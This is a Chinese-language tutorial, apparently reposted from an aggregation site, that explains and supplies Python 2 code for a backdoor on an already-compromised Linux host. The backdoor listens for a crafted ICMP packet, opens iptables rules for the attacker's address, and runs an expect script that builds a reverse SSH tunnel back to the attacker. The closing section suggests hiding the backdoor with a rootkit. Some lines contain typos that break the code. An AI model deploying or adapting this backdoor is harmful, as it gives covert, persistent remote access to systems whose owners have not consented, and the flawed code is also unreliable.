今天小編就爲大家分享一篇關於用Python編寫一個簡單的CS架構後門的方法，小編覺得內容挺不錯的，現在分享給大家，具有很好的參考價值，需要的朋友一起跟隨小編來看看吧
0x00：事先說明
- 你已經攻陷了對方主機且獲得了最高權限。
- 對方的本地防火牆會丟棄所有的外來數據包。
- 這個後門不會僅綁定在某一個端口上。
- 這段代碼很容易寫，畢竟是 Python（準確說是 Python 2.x）。
0x01：工作原理
如你所見，客戶端將僞造具有 ICMP 負載的特定數據包，另一方面在服務端，也就是我們的被攻擊主機，將會接受我們發送的數據包，即使它開啓了本地的防火牆（丟棄所有外來數據包）。關鍵在於無線網卡的監聽模式，它無需和 AP 建立連接卻可以和接受所有流經空氣的數據包。
我們會用到一個有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用，不妨參考這篇文章，也許會有幫助。
0x02：客戶端代碼
'''
客戶端代碼。將服務端的 IP 地址、客戶端的 IP 地址、客戶端的連接端口，以及連接所需密碼作爲程序輸入。如果成功返回一個交互式後門，在代碼硬編碼好的位置寫入日誌文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函數工作在協議棧的第三層（網絡層）
0x04：服務端代碼
服務端代碼分爲兩塊：1. 主要腳本部分、2. ssh 隧道部分。
'''
服務端代碼之主要腳本部分。這個腳本會監聽 ICMP 數據包並從句法上分析其攜帶的數據部分（客戶端 IP 地址、客戶端連接端口、連接所需密碼）。接着在本地打開兩個新的防火牆規則。最後調用另一個 expect 腳本，以建立和客戶端之間穩定的 ssh 連接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模塊，允許用戶編寫代碼生成新進程，連接到它們的 input/output/error 管道，並獲取它們的返回/狀態碼。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
reg = re.compile("(.*)\|(.*)\|(.*)")
g = reg.match(pkt.load)
if g:
subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數會嗅探來自空氣中的數據包，prn 參數用來指定回調函數，每當符合 filter 的報文被探測到時，就會執行回調函數。有關該函數的詳細信息，可以參考這篇博客：https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
''' 服務端代碼之 ssh 隧道部分，實際上是一個簡單的 expect 腳本。接受嗅探到的客戶端 IP 地址、客戶端端口，以及用於連接的密碼作爲輸入。 ''' #!/usr/bin/expect -f set ip [lindex $argv 0]; set port [lindex $argv 1]; set password [lindex $argv 2]; spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip expect "*?assword:*" send "$password\r" expect "*#" send "touch /tmp/done\r" interact
0x05：文末思考
上面完成的後門代碼待完善的地方。
- ICMP payload 應該被編碼。
- 添加其他的協議用來喚醒該後門（如 http、特定的 syn 包、dns 等）。
- 寫一個 rootkit，隱藏該後門，猥瑣欲爲。此乃後話。
有關 rootkit 的延伸閱讀。
- https://www.jb51.net/article/151111.htm
- https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/
總結
以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作具有一定的參考學習價值，謝謝大家對神馬文庫的支持。如果你想了解更多相關內容請查看下面相關鏈接